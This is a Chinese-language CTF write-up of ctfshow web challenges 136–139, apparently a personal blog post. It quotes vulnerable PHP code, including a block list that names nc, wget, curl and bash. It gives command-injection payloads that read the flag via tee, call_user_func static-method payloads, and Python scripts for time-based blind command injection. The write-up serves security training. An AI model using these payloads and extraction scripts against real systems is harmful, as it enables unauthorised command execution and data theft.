本文最后更新于:2021年9月1日下午3点51分
Web136
BY yu22x
打开题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php error_reporting(0 );function check ($x ) { if (preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i' , $x )){ die ('too young too simple sometimes naive!' ); } }if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; check($c ); exec($c ); }else { highlight_file(__FILE__ ); }?>
没有限制写文件,所以利用Linux 下的tee 命令
flag是在根目录下,并且过滤了.
符号,所以不能保存为txt,payload如下:
1 ?c =tac /f149_15_h3r3| tee 1
官方Hint:
payload: ls /|tee 1
访问1下载发现根目录下有flag
payload: cat /f149_15_h3r3|tee 2 访问下载就OK
Web137
没有难度
打开题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php error_reporting(0 ); highlight_file(__FILE__ );class ctfshow { function __wakeup ( ) { die ("private class" ); } static function getFlag ( ) { echo file_get_contents("flag.php" ); } } call_user_func($_POST ['ctfshow' ]);
这一题需要调用静态类,在php中->
和::
调用类中的成员的区别
1 2 3 php中 ->与:: 调用类中的成员的区别 ->用于动态语境处理某个类的某个实例 ::可以调用一个静态的、不依赖于其他初始化的类方法
因此payload为:
1 POSTDATA: ctfshow=ctfshow::getFlag
官方Hint:
考察: call_user_func()函数的使用
https://www.php.net/manual/zh/function.call-user-func.php
payload: POST: ctfshow=ctfshow::getFlag
Web138
一丢丢难度
打开题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php error_reporting(0 ); highlight_file(__FILE__ );class ctfshow { function __wakeup ( ) { die ("private class" ); } static function getFlag ( ) { echo file_get_contents("flag.php" ); } }if (strripos($_POST ['ctfshow' ], ":" )>-1 ){ die ("private function" ); } call_user_func($_POST ['ctfshow' ]);
这一题相比上一题多过滤了冒号,意味着无法使用::
调用静态方法。
但是call_user_func()函数中的参数不仅仅可以是字符串形式,还可以是数组形式:
根据方法名调用call_user_func()详解_PHP-老纪的博客 (wodecun.com)
1 2 3 4 5 call_user_func(array ($classname , 'say_hello' )); 调用classname这个类里的sya_hello方法array [0 ]=$classname 类名array [1 ]=say_hello say_hello()方法
所以payload为:
1 POSTDATA : ctfshow[0 ]=ctfshow&ctfshow[1 ]=getFlag
官方Hint:
1 2 payload: POST: ctfshow[0 ]=ctfshow&ctfshow [1 ]=getFlag
Web139
BY YU22X 没变化吗?
打开题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php error_reporting(0 );function check ($x ) { if (preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i' , $x )){ die ('too young too simple sometimes naive!' ); } }if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; check($c ); exec($c ); }else { highlight_file(__FILE__ ); }?>
相比web136,多过滤了>
和<
,无法写文件,但是用web136的payload也无法写入,应该是没有写权限了。
因此利用延时爆破,payload如下:
1 ?c = if [ `ls /|awk 'NR= = 1 '|cut -c 1 ` = = b ]
其中awk 命令用法如下:
其中cut 命令用法如下:
将两种命令结合即可截取指定行数和列数的符号,再利用sleep和requests的timeout特性,写脚本
注意:payload有几个注意点!
[ ]表示条件测试。注意这里的空格很重要。要注意在’[‘后面和’]’前面都必须要有空格
在shell中,then和fi是分开的语句。如果要在同一行里面输入,则需要用分号将他们隔开
记得用fi结束语句
因此爆破根目录文件名脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import requestsimport string dic = string.digits+string.ascii_letters+"_" ans = "" for i in range (1 ,15 ): is_find = 0 for j in range (1 ,15 ): if is_find == 1 : break for n in dic: payload = "if [ `ls /|awk 'NR=={}'|cut -c {}` == {} ];then sleep 3;fi" .format (str (i),str (j),n) try : res = requests.get("http://f3fa020a-a1b4-4cc1-9875-0d93c21e278c.challenge.ctf.show:8080/?c=" +payload,timeout=2.5 ) except : ans += n print (ans) break ans += " "
得到结果如下:
flag在f149_15_h3r3中,获取flag脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import requestsimport string dic = string.digits+string.ascii_letters+"_" ans = "" for j in range (1 ,50 ): for n in dic: payload = "if [ `cat /f149_15_h3r3 |cut -c {}` == {} ];then sleep 3;fi" .format (str (j),n) try : res = requests.get("http://f3fa020a-a1b4-4cc1-9875-0d93c21e278c.challenge.ctf.show:8080/?c=" +payload,timeout=2.5 ) except : ans += n print (ans) break
1 2 ctfshow21123673974d44eb9f785c3087018201 ctfshow {21123673 -974 d-44 eb-9 f78 -5 c3087018201 }
官方Hint:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import requestsimport timeimport stringstr =string.ascii_letters+string.digits result="" for i in range (1 ,5 ): key=0 for j in range (1 ,15 ): if key==1 : break for n in str : payload="if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];thensleep 3;fi" .format (i,j,n) url="http://877848b4-f5ed-4ec1-bfc1-6f44bf292662.chall.ctf.show?c=" +payload try : requests.get(url,timeout=(2.5 ,2.5 )) except : result=result+n print (result) break if n=='9' : key=1 result+=" "
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import requestsimport timeimport stringstr =string.digits+string.ascii_lowercase+"-" result="" key=0 for j in range (1 ,45 ): print (j) if key==1 : break for n in str : payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep3;fi" .format (j,n) url="http://16fb8221-6893-4aee-95d5-dbe7163bded0.chall.ctf.show?c=" +payload try : requests.get(url,timeout=(2.5 ,2.5 )) except : result=result+n print (result) break